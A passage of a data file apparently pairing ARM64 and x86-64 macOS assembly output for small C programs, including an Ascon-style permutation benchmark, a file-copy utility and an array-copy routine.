.ascii "mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm@O\177{[lP}M]\\Nk`Ka\360\361\362\363\364\365\366\367\370\371z^L~no|\301\302\303\304\305\306\307\310\311\321\322\323\324\325\326\327\330\331\342\343\344\345\346\347\350\351J\340Z_my\201\202\203\204\205\206\207\210\211\221\222\223\224\225\226\227\230\231\242\243\244\245\246\247\250\251\300\273\320\241mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmA\252\260\261\237\262j\265\275\264\232\212\272\312\257\274\220\217\352\372\276\240\266\263\235\332\233\213\267\270\271\253debfcg\236htqrsxuvw\254i\355\356\353\357\354\277\200\375\376\373\374\255\216YDEBFCG\234HTQRSXUVW\214I\315\316\313\317\314\341p\335\336\333\334\215\256\337"
.subsections_via_symbols
| the_stack_data/781891.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov w1, #10
mov x0, x1
bl _rush
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $10, %esi
movl %esi, %edi
callq _rush
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/1236283.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _P12 ; -- Begin function P12
.p2align 2
_P12: ; @P12
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x1, [sp, #8]
mov w0, #240
bl _ROUND
ldr x1, [sp, #8]
mov w0, #225
bl _ROUND
ldr x1, [sp, #8]
mov w0, #210
bl _ROUND
ldr x1, [sp, #8]
mov w0, #195
bl _ROUND
ldr x1, [sp, #8]
mov w0, #180
bl _ROUND
ldr x1, [sp, #8]
mov w0, #165
bl _ROUND
ldr x1, [sp, #8]
mov w0, #150
bl _ROUND
ldr x1, [sp, #8]
mov w0, #135
bl _ROUND
ldr x1, [sp, #8]
mov w0, #120
bl _ROUND
ldr x1, [sp, #8]
mov w0, #105
bl _ROUND
ldr x1, [sp, #8]
mov w0, #90
bl _ROUND
ldr x1, [sp, #8]
mov w0, #75
bl _ROUND
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function ROUND
_ROUND: ; @ROUND
.cfi_startproc
; %bb.0:
sub sp, sp, #176
.cfi_def_cfa_offset 176
stp x29, x30, [sp, #160] ; 16-byte Folded Spill
add x29, sp, #160
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sturb w0, [x29, #-1]
stur x1, [x29, #-16]
ldur x1, [x29, #-16]
sub x0, x29, #56
str x0, [sp, #40] ; 8-byte Folded Spill
mov x2, #40
str x2, [sp, #48] ; 8-byte Folded Spill
bl _memcpy
ldurb w8, [x29, #-1]
mov x9, x8
ldur x8, [x29, #-40]
eor x8, x8, x9
stur x8, [x29, #-40]
ldur x9, [x29, #-24]
ldur x8, [x29, #-56]
eor x8, x8, x9
stur x8, [x29, #-56]
ldur x9, [x29, #-32]
ldur x8, [x29, #-24]
eor x8, x8, x9
stur x8, [x29, #-24]
ldur x9, [x29, #-48]
ldur x8, [x29, #-40]
eor x8, x8, x9
stur x8, [x29, #-40]
ldur x8, [x29, #-56]
mvn x8, x8
str x8, [sp, #64]
ldur x8, [x29, #-48]
mvn x8, x8
str x8, [sp, #72]
ldur x8, [x29, #-40]
mvn x8, x8
str x8, [sp, #80]
ldur x8, [x29, #-32]
mvn x8, x8
str x8, [sp, #88]
ldur x8, [x29, #-24]
mvn x8, x8
str x8, [sp, #96]
ldur x9, [x29, #-48]
ldr x8, [sp, #64]
and x8, x8, x9
str x8, [sp, #64]
ldur x9, [x29, #-40]
ldr x8, [sp, #72]
and x8, x8, x9
str x8, [sp, #72]
ldur x9, [x29, #-32]
ldr x8, [sp, #80]
and x8, x8, x9
str x8, [sp, #80]
ldur x9, [x29, #-24]
ldr x8, [sp, #88]
and x8, x8, x9
str x8, [sp, #88]
ldur x9, [x29, #-56]
ldr x8, [sp, #96]
and x8, x8, x9
str x8, [sp, #96]
ldr x9, [sp, #72]
ldur x8, [x29, #-56]
eor x8, x8, x9
stur x8, [x29, #-56]
ldr x9, [sp, #80]
ldur x8, [x29, #-48]
eor x8, x8, x9
stur x8, [x29, #-48]
ldr x9, [sp, #88]
ldur x8, [x29, #-40]
eor x8, x8, x9
stur x8, [x29, #-40]
ldr x9, [sp, #96]
ldur x8, [x29, #-32]
eor x8, x8, x9
stur x8, [x29, #-32]
ldr x9, [sp, #64]
ldur x8, [x29, #-24]
eor x8, x8, x9
stur x8, [x29, #-24]
ldur x9, [x29, #-56]
ldur x8, [x29, #-48]
eor x8, x8, x9
stur x8, [x29, #-48]
ldur x9, [x29, #-24]
ldur x8, [x29, #-56]
eor x8, x8, x9
stur x8, [x29, #-56]
ldur x9, [x29, #-40]
ldur x8, [x29, #-32]
eor x8, x8, x9
stur x8, [x29, #-32]
ldur x8, [x29, #-40]
mvn x8, x8
stur x8, [x29, #-40]
ldur x0, [x29, #-56]
mov w1, #19
bl _ROTR64
str x0, [sp, #8] ; 8-byte Folded Spill
ldur x0, [x29, #-56]
mov w1, #28
bl _ROTR64
mov x8, x0
ldr x0, [sp, #8] ; 8-byte Folded Reload
eor x9, x0, x8
ldur x8, [x29, #-56]
eor x8, x8, x9
stur x8, [x29, #-56]
ldur x0, [x29, #-48]
mov w1, #61
bl _ROTR64
str x0, [sp, #16] ; 8-byte Folded Spill
ldur x0, [x29, #-48]
mov w1, #39
bl _ROTR64
mov x8, x0
ldr x0, [sp, #16] ; 8-byte Folded Reload
eor x9, x0, x8
ldur x8, [x29, #-48]
eor x8, x8, x9
stur x8, [x29, #-48]
ldur x0, [x29, #-40]
mov w1, #1
bl _ROTR64
str x0, [sp, #24] ; 8-byte Folded Spill
ldur x0, [x29, #-40]
mov w1, #6
bl _ROTR64
mov x8, x0
ldr x0, [sp, #24] ; 8-byte Folded Reload
eor x9, x0, x8
ldur x8, [x29, #-40]
eor x8, x8, x9
stur x8, [x29, #-40]
ldur x0, [x29, #-32]
mov w1, #10
bl _ROTR64
str x0, [sp, #32] ; 8-byte Folded Spill
ldur x0, [x29, #-32]
mov w1, #17
bl _ROTR64
mov x8, x0
ldr x0, [sp, #32] ; 8-byte Folded Reload
eor x9, x0, x8
ldur x8, [x29, #-32]
eor x8, x8, x9
stur x8, [x29, #-32]
ldur x0, [x29, #-24]
mov w1, #7
bl _ROTR64
str x0, [sp, #56] ; 8-byte Folded Spill
ldur x0, [x29, #-24]
mov w1, #41
bl _ROTR64
ldr x1, [sp, #40] ; 8-byte Folded Reload
ldr x2, [sp, #48] ; 8-byte Folded Reload
mov x8, x0
ldr x0, [sp, #56] ; 8-byte Folded Reload
eor x9, x0, x8
ldur x8, [x29, #-24]
eor x8, x8, x9
stur x8, [x29, #-24]
ldur x0, [x29, #-16]
bl _memcpy
ldp x29, x30, [sp, #160] ; 16-byte Folded Reload
add sp, sp, #176
ret
.cfi_endproc
; -- End function
.globl _bench_speed ; -- Begin function bench_speed
.p2align 2
_bench_speed: ; @bench_speed
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
add x0, sp, #8
str x0, [sp] ; 8-byte Folded Spill
mov w1, #0
mov x2, #40
bl _memset
ldr x0, [sp] ; 8-byte Folded Reload
bl _P12
mov w0, #40
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function ROTR64
_ROTR64: ; @ROTR64
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
str w1, [sp, #4]
ldr x8, [sp, #8]
ldr w10, [sp, #4]
mov w9, #64
subs w9, w9, w10
; kill: def $x9 killed $w9
lsl x8, x8, x9
ldr x9, [sp, #8]
ldr w10, [sp, #4]
; kill: def $x10 killed $w10
lsr x9, x9, x10
orr x0, x8, x9
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _P12 ## -- Begin function P12
.p2align 4, 0x90
_P12: ## @P12
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rsi
movl $240, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $225, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $210, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $195, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $180, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $165, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $150, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $135, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $120, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $105, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $90, %edi
callq _ROUND
movq -8(%rbp), %rsi
movl $75, %edi
callq _ROUND
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function ROUND
_ROUND: ## @ROUND
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $144, %rsp
movb %dil, %al
movb %al, -1(%rbp)
movq %rsi, -16(%rbp)
movq -16(%rbp), %rsi
leaq -56(%rbp), %rdi
movl $40, %edx
callq _memcpy
movzbl -1(%rbp), %eax
## kill: def $rax killed $eax
xorq -40(%rbp), %rax
movq %rax, -40(%rbp)
movq -24(%rbp), %rax
xorq -56(%rbp), %rax
movq %rax, -56(%rbp)
movq -32(%rbp), %rax
xorq -24(%rbp), %rax
movq %rax, -24(%rbp)
movq -48(%rbp), %rax
xorq -40(%rbp), %rax
movq %rax, -40(%rbp)
movq -56(%rbp), %rax
xorq $-1, %rax
movq %rax, -96(%rbp)
movq -48(%rbp), %rax
xorq $-1, %rax
movq %rax, -88(%rbp)
movq -40(%rbp), %rax
xorq $-1, %rax
movq %rax, -80(%rbp)
movq -32(%rbp), %rax
xorq $-1, %rax
movq %rax, -72(%rbp)
movq -24(%rbp), %rax
xorq $-1, %rax
movq %rax, -64(%rbp)
movq -48(%rbp), %rax
andq -96(%rbp), %rax
movq %rax, -96(%rbp)
movq -40(%rbp), %rax
andq -88(%rbp), %rax
movq %rax, -88(%rbp)
movq -32(%rbp), %rax
andq -80(%rbp), %rax
movq %rax, -80(%rbp)
movq -24(%rbp), %rax
andq -72(%rbp), %rax
movq %rax, -72(%rbp)
movq -56(%rbp), %rax
andq -64(%rbp), %rax
movq %rax, -64(%rbp)
movq -88(%rbp), %rax
xorq -56(%rbp), %rax
movq %rax, -56(%rbp)
movq -80(%rbp), %rax
xorq -48(%rbp), %rax
movq %rax, -48(%rbp)
movq -72(%rbp), %rax
xorq -40(%rbp), %rax
movq %rax, -40(%rbp)
movq -64(%rbp), %rax
xorq -32(%rbp), %rax
movq %rax, -32(%rbp)
movq -96(%rbp), %rax
xorq -24(%rbp), %rax
movq %rax, -24(%rbp)
movq -56(%rbp), %rax
xorq -48(%rbp), %rax
movq %rax, -48(%rbp)
movq -24(%rbp), %rax
xorq -56(%rbp), %rax
movq %rax, -56(%rbp)
movq -40(%rbp), %rax
xorq -32(%rbp), %rax
movq %rax, -32(%rbp)
movq -40(%rbp), %rax
xorq $-1, %rax
movq %rax, -40(%rbp)
movq -56(%rbp), %rdi
movl $19, %esi
callq _ROTR64
movq %rax, -136(%rbp) ## 8-byte Spill
movq -56(%rbp), %rdi
movl $28, %esi
callq _ROTR64
movq %rax, %rcx
movq -136(%rbp), %rax ## 8-byte Reload
xorq %rcx, %rax
xorq -56(%rbp), %rax
movq %rax, -56(%rbp)
movq -48(%rbp), %rdi
movl $61, %esi
callq _ROTR64
movq %rax, -128(%rbp) ## 8-byte Spill
movq -48(%rbp), %rdi
movl $39, %esi
callq _ROTR64
movq %rax, %rcx
movq -128(%rbp), %rax ## 8-byte Reload
xorq %rcx, %rax
xorq -48(%rbp), %rax
movq %rax, -48(%rbp)
movq -40(%rbp), %rdi
movl $1, %esi
callq _ROTR64
movq %rax, -120(%rbp) ## 8-byte Spill
movq -40(%rbp), %rdi
movl $6, %esi
callq _ROTR64
movq %rax, %rcx
movq -120(%rbp), %rax ## 8-byte Reload
xorq %rcx, %rax
xorq -40(%rbp), %rax
movq %rax, -40(%rbp)
movq -32(%rbp), %rdi
movl $10, %esi
callq _ROTR64
movq %rax, -112(%rbp) ## 8-byte Spill
movq -32(%rbp), %rdi
movl $17, %esi
callq _ROTR64
movq %rax, %rcx
movq -112(%rbp), %rax ## 8-byte Reload
xorq %rcx, %rax
xorq -32(%rbp), %rax
movq %rax, -32(%rbp)
movq -24(%rbp), %rdi
movl $7, %esi
callq _ROTR64
movq %rax, -104(%rbp) ## 8-byte Spill
movq -24(%rbp), %rdi
movl $41, %esi
callq _ROTR64
movq %rax, %rcx
movq -104(%rbp), %rax ## 8-byte Reload
xorq %rcx, %rax
xorq -24(%rbp), %rax
movq %rax, -24(%rbp)
movq -16(%rbp), %rdi
leaq -56(%rbp), %rsi
movl $40, %edx
callq _memcpy
addq $144, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _bench_speed ## -- Begin function bench_speed
.p2align 4, 0x90
_bench_speed: ## @bench_speed
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
leaq -40(%rbp), %rdi
xorl %esi, %esi
movl $40, %edx
callq _memset
leaq -40(%rbp), %rdi
callq _P12
movl $40, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function ROTR64
_ROTR64: ## @ROTR64
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq -8(%rbp), %rax
movl $64, %ecx
subl -12(%rbp), %ecx
movl %ecx, %ecx
## kill: def $rcx killed $ecx
## kill: def $cl killed $rcx
shlq %cl, %rax
movq -8(%rbp), %rdx
movl -12(%rbp), %ecx
## kill: def $rcx killed $ecx
## kill: def $cl killed $rcx
shrq %cl, %rdx
movq %rdx, %rcx
orq %rcx, %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/232957055.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test1 ; -- Begin function test1
.p2align 2
_test1: ; @test1
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
adrp x8, __wonky_gesticulate_cheese@GOTPAGE
ldr x8, [x8, __wonky_gesticulate_cheese@GOTPAGEOFF]
str x8, [sp, #40]
ldr x8, [sp, #40]
add x8, x8, #4
str x8, [sp, #32]
ldr x8, [sp, #32]
str x8, [sp, #32]
ldr x8, [sp, #40]
add x8, x8, #4
str x8, [sp, #24]
ldr x8, [sp, #40]
add x8, x8, #4
str x8, [sp, #16]
ldr x8, [sp, #16]
ldr w8, [x8]
str w8, [sp, #12]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _test1_b ; -- Begin function test1_b
.p2align 2
_test1_b: ; @test1_b
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
adrp x8, __wonky_gesticulate_cheese@GOTPAGE
ldr x8, [x8, __wonky_gesticulate_cheese@GOTPAGEOFF]
str x8, [sp, #24]
ldr x8, [sp, #24]
add x8, x8, #4
str x8, [sp, #16]
ldr x8, [sp, #16]
str x8, [sp, #16]
ldr x8, [sp, #24]
add x8, x8, #4
str x8, [sp, #8]
ldr x9, [sp, #8]
mov w8, #1
strb w8, [x9]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test1 ## -- Begin function test1
.p2align 4, 0x90
_test1: ## @test1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq __wonky_gesticulate_cheese@GOTPCREL(%rip), %rax
movq %rax, -8(%rbp)
movq -8(%rbp), %rax
addq $4, %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movq %rax, -16(%rbp)
movq -8(%rbp), %rax
addq $4, %rax
movq %rax, -24(%rbp)
movq -8(%rbp), %rax
addq $4, %rax
movq %rax, -32(%rbp)
movq -32(%rbp), %rax
movl (%rax), %eax
movl %eax, -40(%rbp)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test1_b ## -- Begin function test1_b
.p2align 4, 0x90
_test1_b: ## @test1_b
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq __wonky_gesticulate_cheese@GOTPCREL(%rip), %rax
movq %rax, -8(%rbp)
movq -8(%rbp), %rax
addq $4, %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movq %rax, -16(%rbp)
movq -8(%rbp), %rax
addq $4, %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rax
movb $1, (%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/100140433.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/92324451.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur w8, [x29, #-8]
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _puts
b LBB0_12
LBB0_2:
ldur x8, [x29, #-16]
ldr x0, [x8, #8]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fopen
mov x8, x0
str x8, [sp, #24]
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB0_10
b LBB0_3
LBB0_3:
ldur x8, [x29, #-16]
ldr x0, [x8, #16]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fopen
mov x8, x0
str x8, [sp, #16]
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB0_8
b LBB0_4
LBB0_4:
b LBB0_5
LBB0_5: ; =>This Inner Loop Header: Depth=1
ldr x0, [sp, #24]
bl _fgetc
str w0, [sp, #12]
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=1
ldr w0, [sp, #12]
ldr x1, [sp, #16]
bl _fputc
b LBB0_5
LBB0_7:
ldr x0, [sp, #16]
bl _fclose
b LBB0_9
LBB0_8:
ldur x8, [x29, #-16]
ldr x8, [x8, #16]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_9
LBB0_9:
ldr x0, [sp, #24]
bl _fclose
b LBB0_11
LBB0_10:
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_11
LBB0_11:
b LBB0_12
LBB0_12:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Usage: mycopy infile outfile"
l_.str.1: ; @.str.1
.asciz "r"
l_.str.2: ; @.str.2
.asciz "w"
l_.str.3: ; @.str.3
.asciz "File \"%s\" could not be opened\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
cmpl $3, -8(%rbp)
je LBB0_2
## %bb.1:
leaq L_.str(%rip), %rdi
callq _puts
jmp LBB0_12
LBB0_2:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
leaq L_.str.1(%rip), %rsi
callq _fopen
movq %rax, -24(%rbp)
cmpq $0, %rax
je LBB0_10
## %bb.3:
movq -16(%rbp), %rax
movq 16(%rax), %rdi
leaq L_.str.2(%rip), %rsi
callq _fopen
movq %rax, -32(%rbp)
cmpq $0, %rax
je LBB0_8
## %bb.4:
jmp LBB0_5
LBB0_5: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rdi
callq _fgetc
movl %eax, -36(%rbp)
cmpl $-1, %eax
je LBB0_7
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movl -36(%rbp), %edi
movq -32(%rbp), %rsi
callq _fputc
jmp LBB0_5
LBB0_7:
movq -32(%rbp), %rdi
callq _fclose
jmp LBB0_9
LBB0_8:
movq -16(%rbp), %rax
movq 16(%rax), %rsi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
LBB0_9:
movq -24(%rbp), %rdi
callq _fclose
jmp LBB0_11
LBB0_10:
movq -16(%rbp), %rax
movq 8(%rax), %rsi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
LBB0_11:
jmp LBB0_12
LBB0_12:
movl -4(%rbp), %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Usage: mycopy infile outfile"
L_.str.1: ## @.str.1
.asciz "r"
L_.str.2: ## @.str.2
.asciz "w"
L_.str.3: ## @.str.3
.asciz "File \"%s\" could not be opened\n"
.subsections_via_symbols
| the_stack_data/145453696.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/126433.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/32951304.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov w0, #1
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov x2, #4
bl _write
; kill: def $w0 killed $w0 killed $x0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "TEST"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $1, %edi
leaq L_.str(%rip), %rsi
movl $4, %edx
callq _write
## kill: def $eax killed $eax killed $rax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "TEST"
.subsections_via_symbols
| the_stack_data/47848.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mx_copy_int_arr ; -- Begin function mx_copy_int_arr
.p2align 2
_mx_copy_int_arr: ; @mx_copy_int_arr
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-16]
stur w1, [x29, #-20]
ldur x8, [x29, #-16]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
; kill: def $x8 killed $xzr
stur xzr, [x29, #-8]
b LBB0_7
LBB0_2:
ldursw x8, [x29, #-20]
lsl x0, x8, #2
bl _malloc
str x0, [sp, #16]
str wzr, [sp, #12]
b LBB0_3
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
ldur w9, [x29, #-20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #12]
ldr w8, [x8, x9, lsl #2]
ldr x9, [sp, #16]
ldrsw x10, [sp, #12]
str w8, [x9, x10, lsl #2]
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB0_3
LBB0_6:
ldr x8, [sp, #16]
stur x8, [x29, #-8]
b LBB0_7
LBB0_7:
ldur x0, [x29, #-8]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mx_copy_int_arr ## -- Begin function mx_copy_int_arr
.p2align 4, 0x90
_mx_copy_int_arr: ## @mx_copy_int_arr
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
cmpq $0, -16(%rbp)
jne LBB0_2
## %bb.1:
movq $0, -8(%rbp)
jmp LBB0_7
LBB0_2:
movslq -20(%rbp), %rdi
shlq $2, %rdi
callq _malloc
movq %rax, -32(%rbp)
movl $0, -36(%rbp)
LBB0_3: ## =>This Inner Loop Header: Depth=1
movl -36(%rbp), %eax
cmpl -20(%rbp), %eax
jge LBB0_6
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movq -16(%rbp), %rax
movslq -36(%rbp), %rcx
movl (%rax,%rcx,4), %edx
movq -32(%rbp), %rax
movslq -36(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
## %bb.5: ## in Loop: Header=BB0_3 Depth=1
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
jmp LBB0_3
LBB0_6:
movq -32(%rbp), %rax
movq %rax, -8(%rbp)
LBB0_7:
movq -8(%rbp), %rax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/101375.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
